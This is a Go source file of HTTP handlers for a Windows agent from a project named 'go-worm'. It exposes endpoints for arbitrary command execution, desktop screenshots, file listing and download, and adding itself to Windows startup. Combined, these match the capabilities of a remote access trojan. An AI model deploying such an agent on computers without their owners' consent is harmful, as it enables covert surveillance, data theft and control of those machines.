go-worm/lib/agent/handlers.go

package agent

import (
	"context"
	"encoding/base64"
	"encoding/json"
	"errors"
	"io"
	"mime"
	"net/http"
	"os"
	"path/filepath"
	"runtime"
	"strconv"
	"strings"
	"time"

	"tea.chunkbyte.com/kato/go-worm/lib/command"
	"tea.chunkbyte.com/kato/go-worm/lib/config"
	"tea.chunkbyte.com/kato/go-worm/lib/files"
	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
	"tea.chunkbyte.com/kato/go-worm/lib/models"
	"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
	"tea.chunkbyte.com/kato/go-worm/lib/startup"
)

func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodGet {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	helpers.WriteJSON(w, http.StatusOK, map[string]string{"status": "ok"})
}

func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodGet {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	helpers.WriteJSON(w, http.StatusOK, map[string]any{
		"openapi": "3.0.3", "info": map[string]string{"title": "Local Management Agent", "version": config.Version},
		"paths": map[string]any{
			"/api/v1/status":     map[string]any{"get": map[string]string{"summary": "Agent status"}},
			"/api/v1/files":      map[string]any{"get": map[string]string{"summary": "List files"}},
			"/api/v1/download":   map[string]any{"get": map[string]string{"summary": "Download file"}},
			"/api/v1/screenshot": map[string]any{"get": map[string]string{"summary": "Capture desktop"}},
			"/api/v1/exec":       map[string]any{"post": map[string]string{"summary": "Run a command"}},
			"/api/v1/startup":    map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}},
		},
	})
}

func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodGet {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	host, _ := os.Hostname()
	helpers.WriteJSON(w, http.StatusOK, map[string]any{
		"os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host,
		"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
		"agent_version": config.Version, "listen_address": a.addr,
		"startup_enabled": startup.Enabled(),
	})
}

func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
	switch r.Method {
	case http.MethodPost:
		if err := startup.Enable(); err != nil {
			helpers.Log.Printf("startup enable: %v", err)
			helpers.WriteError(w, http.StatusInternalServerError, "could not add to startup")
			return
		}
	case http.MethodDelete:
		if err := startup.Disable(); err != nil {
			helpers.Log.Printf("startup disable: %v", err)
			helpers.WriteError(w, http.StatusInternalServerError, "could not remove from startup")
			return
		}
	default:
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
}

func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodGet {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	depth, err := files.ParseDepth(r.URL.Query().Get("depth"))
	if err != nil {
		helpers.WriteError(w, http.StatusBadRequest, err.Error())
		return
	}
	path := r.URL.Query().Get("path")
	if path == "" {
		path, _ = os.UserHomeDir()
	}
	dir, err := files.AllowedPath(a.root, path, true)
	if err != nil {
		files.WritePathError(w, err)
		return
	}
	info, err := os.Stat(dir)
	if err != nil {
		files.WritePathError(w, err)
		return
	}
	if !info.IsDir() {
		helpers.WriteError(w, http.StatusBadRequest, "path is not a directory")
		return
	}
	entries, err := files.ListDirectory(dir, depth)
	if err != nil {
		files.WritePathError(w, err)
		return
	}
	helpers.WriteJSON(w, http.StatusOK, map[string]any{"path": dir, "depth": depth, "entries": entries})
}

func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodGet {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	path := r.URL.Query().Get("path")
	if path == "" {
		helpers.WriteError(w, http.StatusBadRequest, "path is required")
		return
	}
	file, err := files.AllowedPath(a.root, path, true)
	if err != nil {
		files.WritePathError(w, err)
		return
	}
	f, err := os.Open(file)
	if err != nil {
		files.WritePathError(w, err)
		return
	}
	defer f.Close()
	info, err := f.Stat()
	if err != nil {
		files.WritePathError(w, err)
		return
	}
	if info.IsDir() {
		helpers.WriteError(w, http.StatusBadRequest, "path is a directory")
		return
	}
	name := filepath.Base(file)
	contentType := mime.TypeByExtension(filepath.Ext(name))
	if contentType == "" {
		var sample [512]byte
		n, _ := f.Read(sample[:])
		contentType = http.DetectContentType(sample[:n])
		_, _ = f.Seek(0, io.SeekStart)
	}
	w.Header().Set("Content-Type", contentType)
	w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(name, `"`, "'")+`"`)
	w.Header().Set("Accept-Ranges", "bytes")
	http.ServeContent(w, r, name, info.ModTime(), f)
}

func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodGet {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	format := strings.ToLower(strings.TrimSpace(r.URL.Query().Get("format")))
	if format == "" {
		format = "png"
	}
	if format != "png" && format != "jpeg" {
		helpers.WriteError(w, http.StatusBadRequest, "format must be png or jpeg")
		return
	}
	quality := 80
	if raw := r.URL.Query().Get("quality"); raw != "" {
		var err error
		quality, err = strconv.Atoi(raw)
		if err != nil || quality < 1 || quality > config.MaxImageQuality {
			helpers.WriteError(w, http.StatusBadRequest, "quality must be between 1 and 100")
			return
		}
	}
	images, err := screenshot.Capture(format, quality)
	if err != nil {
		helpers.Log.Printf("screenshot: %v", err)
		helpers.WriteError(w, http.StatusServiceUnavailable, "no interactive desktop is available")
		return
	}
	if len(images) == 1 {
		w.Header().Set("Content-Type", images[0].ContentType)
		w.Header().Set("Content-Length", strconv.Itoa(len(images[0].Data)))
		_, _ = w.Write(images[0].Data)
		return
	}
	response := models.ScreenshotResponse{Images: make([]models.ScreenshotImage, 0, len(images))}
	for i, item := range images {
		response.Images = append(response.Images, models.ScreenshotImage{
			Monitor:     i,
			ContentType: item.ContentType,
			DataBase64:  base64.StdEncoding.EncodeToString(item.Data),
		})
	}
	helpers.WriteJSON(w, http.StatusOK, response)
}

func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodPost {
		helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
		return
	}
	r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
	defer r.Body.Close()
	var request models.ExecRequest
	decoder := json.NewDecoder(r.Body)
	decoder.DisallowUnknownFields()
	if err := decoder.Decode(&request); err != nil {
		helpers.WriteError(w, http.StatusBadRequest, "body must contain a command")
		return
	}
	cmdline := strings.TrimSpace(request.Command)
	if cmdline == "" {
		helpers.WriteError(w, http.StatusBadRequest, command.ErrEmptyCommand.Error())
		return
	}
	timeout, err := command.ResolveTimeout(request.TimeoutSec)
	if err != nil {
		helpers.WriteError(w, http.StatusBadRequest, err.Error())
		return
	}
	ctx, cancel := context.WithTimeout(r.Context(), timeout)
	defer cancel()
	result, err := command.Run(ctx, cmdline)
	if errors.Is(err, command.ErrTimeout) {
		helpers.WriteError(w, http.StatusGatewayTimeout, err.Error())
		return
	}
	if err != nil {
		helpers.Log.Printf("exec: %v", err)
		helpers.WriteError(w, http.StatusInternalServerError, "could not run command")
		return
	}
	helpers.WriteJSON(w, http.StatusOK, result)
}